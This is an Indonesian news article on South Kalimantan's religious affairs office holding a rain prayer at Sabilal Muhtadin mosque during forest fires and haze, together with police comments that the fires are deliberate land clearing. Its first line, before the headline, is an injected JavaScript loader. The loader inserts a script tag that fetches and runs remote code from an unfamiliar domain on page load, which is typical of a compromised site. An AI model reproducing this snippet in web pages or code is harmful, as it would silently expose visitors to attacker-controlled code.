(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hadapi Karhutla, Besok Kemenag Kalsel Gelar Sholat Istisqo di Masjid Sabilal Muhtadin


BANJARMASIN, Menyikapi kemarau panjang saat ini, Kantor Kementerian Agama (Kemenag) Kalsel akan menggelar shalat istisqo (shalat untuk minta turun hujan) di Masjid Raya Sabilal Muhtadin, Sabtu (14/9) pukul 07.00 Wita. Diharapkan bagi warga Banjarmasin dan sekitar untuk bisa mengikuti kegiatan tersebut bersama.

Kakanwil Kemenag Kalsel, Noor Fahmi mengatakan, shalat istisqo tersebut sebagai bagian usaha untuk minta turunkannya hujan. Hal ini menyikapi puncak kemarau, yang juga menyebabkan kabut asap di berbagai lokasi di Kalsel. “Kami merasa terpanggil untuk melaksanakan shalat istisqo. Salat demi terlepas dari bala bencana Karhutla dan kemarau panjang ini,” katanya.

Demikian agar Bumi Lambung Mangkurat dapat terlepas dari bencana khusus kabut asap yang bisa mengakibatkan penyakit Infeksi Saluran Pernafasan Akut (ISPA). “Kami ingin warga di kota dapat menikmati kembali kehidupan seperti biasa dengan baik serta tidak terganggu oleh kabut asap,” jelasnya.

Imbauan yang sama  juga telah sampai ke-13 Kemenag di kabupaten/kota. Mereka kembali diminta untuk mengoordinir serta mengarahkan massa untuk salat istisqo.

Sebelumnya, Kemenag Kasel telah membentuk Satgas Doa dan Shalat Sunnah Minta Hujan. Satgas tidak turun langsung ikut memadamkan api, tapi mengakomodir pelaksanaan doa dan ibadah shalat sunnah minta hujan di setiap wilayah dengan potensi tinggi terjadi kebakaran hutan dan lahan.

Sekretaris Satgas Doa dan Salat Sunah Minta Hujan Karhutla Kalsel dari Kantor Kemenag Kalsel, Suryan Nahdi, berkata pembentukan Satgas sebagai upaya Kemenag ikut membantu menjauhkan bala bencana kebakaran lahan di Kalsel.

“Kemampuan manusia di dunia ini memiliki batas. Terus kami harus serahkan kepada tuhan yang Maha Esa tentunya. Melihat kondisi cuaca panas yang menjadi pemicu terjadinya karhutla. Jangan lupa kita berdoa, juga melaksanakan shalat sunat minta hujan,” ucap Suryan Nahdi beberapa waktu lalu.

Menurut Suryan, Satgas berfokus pada lima wilayah dengan kerawanan tinggi terjadi Karhutla, seperti, Kabupaten Tanah Laut, Banjar, Tapin, Barito Kuala, dan Kota Banjarbaru. Pihaknya sedang difokuskan untuk melaksanakan doa dan ibadah tersebut.

“Kami juga penyuluh keagaman di setiap kecamatan rata-rata ada delapan hingga sepuluh orang ini yang kami minta di majelis taklim untuk untuk berdoa melakukan hal-hal yang diluar batas kemampuan kita,” kata Suryan.

Apalagi, Kalsel dikenal daerah religius yang banyak diadakan pengajian-pengajian secara rutin. Sehingga, ia mengimbau untuk menyisipkan doa meminta agar Karhutla segera berakhir di Kalsel.

“Mengingat kemaru terjadi sejak Januari, kami laksanakan sejak saat itu hingga saat ini. Karena Kalsel khususnya Alhamdulillah merupakan kegiatan keagaman berjalan dengan rutin maka kami selipkan di kegiatan tersebut,” ujarnya.

Sebelumnya juga, Wakapolri, Komjen Ari Doni Sukmanto menganalisa bahwa maraknya peristiwa Kebakaran Hutan dan Lahan (Karhutla) di Kalsel besar kemungkinan adalah faktor kesengajaan. Hal tersebut diyakininya usai melakukan pemantauan menggunakan heli Patroli, Kamis (12/9) sore.

“Sebenarnya ini sudah menjadi budaya turun temurun. Saya liat, api tidak menyala di hutan, tapi justru di lahan perkebunan. Kita selidiki dan memang karena untuk pertanian. Jadi di bakar dengan sengaja,” katanya kepada awak media, Kamis (12/9).

Diakui jendral bintang tiga tersebut, tim Satgas Karhutla yang juga terdiri dari anggota TNI dan Polri begitu kewalahan saat dihadapkan dengan luasan lahan yang terbakar pada saat ini. Bahkan, meskipun dengan adanya bantuan Heli Water Bombing dari BNPB tetap saja kejadian yang sama akan terus terulang.

Oleh karena itu, menurut Wakapolri dikedepannya perlu disoroti langkah pencegahan yang lebih signifikan. Dalam hal ini, Dinas Pertanian diharapkan juga ikut ambil bagian. “Kita harus menyadarkan masyarakat yang turun temurun bertani dengan cara membakar lahan. Budaya itu harus kita ubah. Tentunya dari Dinas Pertanian dapat mengupayakan langkah-langkah atau membentuk suatu program dalam hal ini,” harapnya.(fikri)

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

7 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

8 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

8 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

8 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

8 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

9 jam ago

This website uses cookies.